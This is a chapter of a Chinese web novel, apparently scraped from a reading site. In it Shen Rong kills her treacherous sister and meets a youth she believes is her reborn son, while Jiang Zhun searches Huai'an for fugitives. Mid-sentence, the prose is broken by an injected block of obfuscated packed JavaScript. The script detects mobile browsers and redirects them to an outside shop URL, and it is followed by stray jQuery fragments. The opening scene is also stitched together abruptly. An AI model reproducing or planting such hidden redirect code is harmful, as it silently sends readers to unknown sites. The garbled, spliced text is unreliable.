115. 第一百一十五章
作品:《殿下追妻成功了吗》 春日,暖阳倾斜,栖凤宫内,华服加身的女子绣着手中的衣裳,针脚密如丝。
月霜从外面捧着一柄剑回来,小心翼翼的送到沈绒面前,“娘娘,您给小殿下准备的生辰礼,工匠们已经赶制出来了。”
闻言,沈绒放下手中的针线活,秀长的双眉微弯,黄色衣裙被殿外的风吹的向后仰,“快拿来让我看看。”
月霜轻轻将剑平放在桌案上,“这可是娘娘亲自设计的样式呢,小殿下一定会喜欢的。”
沈绒眼中笑意更甚,手指轻抚过剑身,刃上雕刻着“岁安”二字,若即便将来自己不能在她身侧保护澄儿,澄儿也要岁岁皆平安。
“扑腾!”
肉身落地的沉闷声音唤醒了思绪凌乱的沈绒,少年身手不错,对付这几个残兵败将绰绰有余,回旋间单腿横扫,撂倒了扑上来的两人。
他的招式…
沈绒一时,竟与姜临煜的有异曲同工之妙,他到底是谁?
不过片刻的功夫,方才还吆喝着要拿着沈绒去将功赎罪的虾兵蟹将,便一个个捂着胸口倒在地上,半生不死。
沈绵吓得腿软,顿时瘫坐在地,紧张的咽了咽口水,“你…你到底是谁啊?”
少年不语,转过头看着发愣的沈绒,嗓音随性中带有一丝慵懒的味道:“姑娘,这个人怎么办?”
与她相视的瞬间,沈绒脑中只剩“滋滋”的空白,记忆里,她的澄儿停留在了三岁那一年。那时,人人见了这个粉雕玉琢的小娃娃都喜爱的不行,那一双漆黑明亮的眼,看人时炯炯有神,与沈绒的生的极为相似。
“姑娘?”见她发愣,少年歪了歪头,又问:“你怎么了?”
沈绒回神,此时沈绵也回过神来,眼眶中挤出眼泪,连声向她求饶:“姐姐,姐姐!是我做错了事…我…我一时糊涂,求你…求求你放过我吧!”
一时糊涂。
沈绒冷笑,说的真轻松,倘若不是这个人突然出现,自己便要因为她的一时糊涂而丧命。自己是答应了戚笛会放过她,但前提也是沈绵别再生出是非,今日放过她,来日她便能再捅自己一刀。
“沈绵。”沈绒步伐轻盈,弯腰从地上的人胸膛中拔出那把飞来的刀,缓缓靠近沈绵。
这是沈绵第一次看到这样的沈绒,瞬间吓破了胆,惊恐的双手撑地,不停地向后退,“沈绒,你…你要干什么!你…你别乱来!我…我们可是姐妹!你是我姐姐啊!”
“沈绵,你母亲死的时候告诉我,若有一日见到你,希望我放过你。”沈绒蹲在她面前,红唇上扬,“是你自己,偏要往死路上走,你还知我是你的姐姐啊?那怎么还想献祭姐姐,换自己的命呢?”
刹那间,鲜血溅在她白皙的脖颈上,晕染时像一朵朵盛开的彼岸花,明艳又妖冶。
身后的少年满脸错愕,他不曾想到,这个在记忆里总是温温柔柔的人,竟然真的能做到杀人不眨眼。
浓烈的血腥气激得沈绒皱了皱眉,指尖的血让她在心底滋生出了缕缕兴奋。
少年静默几秒,随后走上前,将贴身携带的帕子递了过去,“给。”
沈绒没接,目光落在帕子的一角,上面歪歪扭扭的绣了个“澄”与前世星璇在澄儿的帕子上绣的一模一样!
“你…你到底是谁?”沈绒一把握住他的手,她根本不相信一切会这么巧,同样的帕子,同样的剑,还有与自己几分相似的眉眼,这绝不可能是巧合,“为什么你会出现?为什么你会帮我?”
少年被她突然的举动吓得愣住,捏着帕子的手下意识一松,帕子随风落地,说话的声音又轻又低:“我…我也不知道,我醒过来以后,脑海中便一直有个声音,告诉我要找到你,保护你。”
“醒过来以后?”沈绒松开他,“你晕倒了?”
他点头后又摇了摇头,“我不记得了,只知道醒过来便躺在那里。”
少年抬手指了指远处的一座山头,“就在那里,有一棵倒塌枯萎的槐花树,我醒来就在那里了。”
沈绒顺着他手指的方向看去,忽然觉得那个位置十分熟悉,是当初自己未出嫁住在寺庙时,一夜暴风骤雨被雷电劈断的那棵槐花树。
但奇怪的是,自己前世上山时,根本就从未在山上看到过槐树。
今世奇怪的事太多,让她一时间头脑乱成一团。
“我叫岁安。”少年低垂着眉眼,尾音勾着笑意,“姜岁安。”
陡然间,沈绒犹如五雷轰顶,眼眶不可控的酸涩起来。
岁安,本是自己为澄儿的剑起的名字,眼前莫名出现的人竟然同那把剑的名字一样。
“你…你的名字,是谁为你取的?”她小心的试问,神色一凝,紧紧地盯着他。
“其实,我本不叫这个名字,我自幼父母双亡,这是我的叔祖父为我起的字,他很少唤我的名,他说这个字应当是我母亲的心愿。”姜岁安轻轻晃动手中的剑,“这把剑便是我母亲送我的礼物,上面便刻着‘岁安’二字,想来母亲应当是希望我日后的每一日,都能够岁岁平安吧。”
他的话还未说完,沈绒便再也抑制不住即将崩溃的情绪,猛地向前抱住了他,眼泪顺势夺眶而出。
不需要解释了,根本不需要解释了。
她可以重生,姜准可以重生,萧婉更是可以被异世之人侵占了身体,那她的澄儿也一定很想自己,一定有办法来到自己身边。
————
与此同时,淮安城内一片混乱,尽管城外的叛军已被处理的干净,可更大的危机显然还在后头。
淮安脱险后,姜准顺理成章的成为了皇帝最为器重的皇子,一时间门客踏破了庆王府的门槛,而掩在姜准谦虚的笑容之下的,却是越来越慌乱的心。
安国公被人救走,如今下落不明,他深知若是没有安国公这个护身符,自己根本就不是姜临煜的对手。
“找到了吗?”
丁琛带人从外面回来,低下了头,“没有,殿下,淮安的大街小巷我们都已经搜查了一遍,会不会人已经出城了?”
“不会。”沈樱一口否决:“安国公受了重伤,珠玉带着他根本跑不远,现如今天气寒冷,他们最好的方法便是找个安全之处藏身,待到安国公身子好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551856|173706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些时,再想办法去同沈绒一行人汇合。”
“可无论是定北王府还是安国公府,我们都已经搜查了一遍了,都没有发现有人回去过的踪迹,她们能逃到哪里去。”
姜准默不作声的沉思,现在最快的法子,便是挨家挨户的搜查,可百姓们刚刚稳定下来,这样做无疑弊大于利。
“殿下。”丁琛想出对策,“不如我们…”
“不可。”姜准明白他要说什么,“传令下去,封锁进出城的道路,在不惊扰百姓的前提下,加大搜查力度。除了安国公和珠玉,还有禾冉,以及那日并未随他们一同出城的安宁郡主和季淮然的女儿。”
一众老弱病残,根本逃不出城,只要在城内,自己早晚能够找到他们。
—————
半个月后,季淮然等人顺利到达了汇合地点,文焰带人守在此处,姜临煜昨日飞鸽传信,冬日行军慢,他们最快七日便能赶到这里。
听到外面的声音,文焰招手示意所有人警戒,直到看到楚云的佩剑先闯入视线,才松了口气。
然而,当他看清走进来的所有人时,嘴角的笑意却僵住了。
“王妃呢?”
战乱一起,淮安城外的流民也渐多,凭着那块关卡对牌,沈绒顺利带着姜岁安越过了关卡,远离了淮安城。
一路上,沈绒旁敲侧击的问了身侧的少年许多问题,而少年或是点头又或是回答不记得了,对前世的记忆甚是模糊。
很快,他们随着流民的队伍顺溪流而下,沈绒腿脚走的发麻,靠在光秃秃的柳树边休息。
姜岁安不声不响地离开,正当沈绒四处寻找他时,才捧着一怀的野果子回来。
“叔祖父告诉我,这果子名叫雪珠果,无毒又能果腹,你尝尝。”
沈绒接过果子,是温热的。
“我怕这果子太凉你吃了会坏肚子,便用手暖热了。”
“谢谢…”
见沈绒接过果子,他便站起身,将怀中的果子一一分出去。
口中的汁液微甜,沈绒靠在树边看着他,这一路走来,他总是小心翼翼的照顾着自己。
不仅是自己,还有同路的老人与孩子,流民中不乏心怀不轨之人,夜里他总是一人半睡半醒的守夜,生怕有姑娘会遭遇不测。
分完果子,姜岁安回来,坐在了沈绒身边,细嚼慢咽的低头吃着果子。
沈绒黛眉轻挑,素白色的月裙裙摆上沾上了泥点,眼角藏着笑,盯着他轻颤的长睫,问道:“岁安,你今年多大了?”
“十四。”姜岁安咽下果子,“姑娘有事?”
“没有。”沈绒摇摇头,“只是觉得你看起来这般懂事细心,不似这个年岁的孩子,十四岁的儿郎,大都是正顽劣的时候吧?”
“因为叔祖父说,我与寻常的孩子不同,必须要学着照顾自己照顾别人。”
叔祖父,又是姜临煜。
看来前世自己死后,澄儿便到了姜临煜的身边长大,难怪这孩子与自己记忆中少时的姜临煜这般相像。
她喜不自胜,姜临煜真的把澄儿教养得很好。

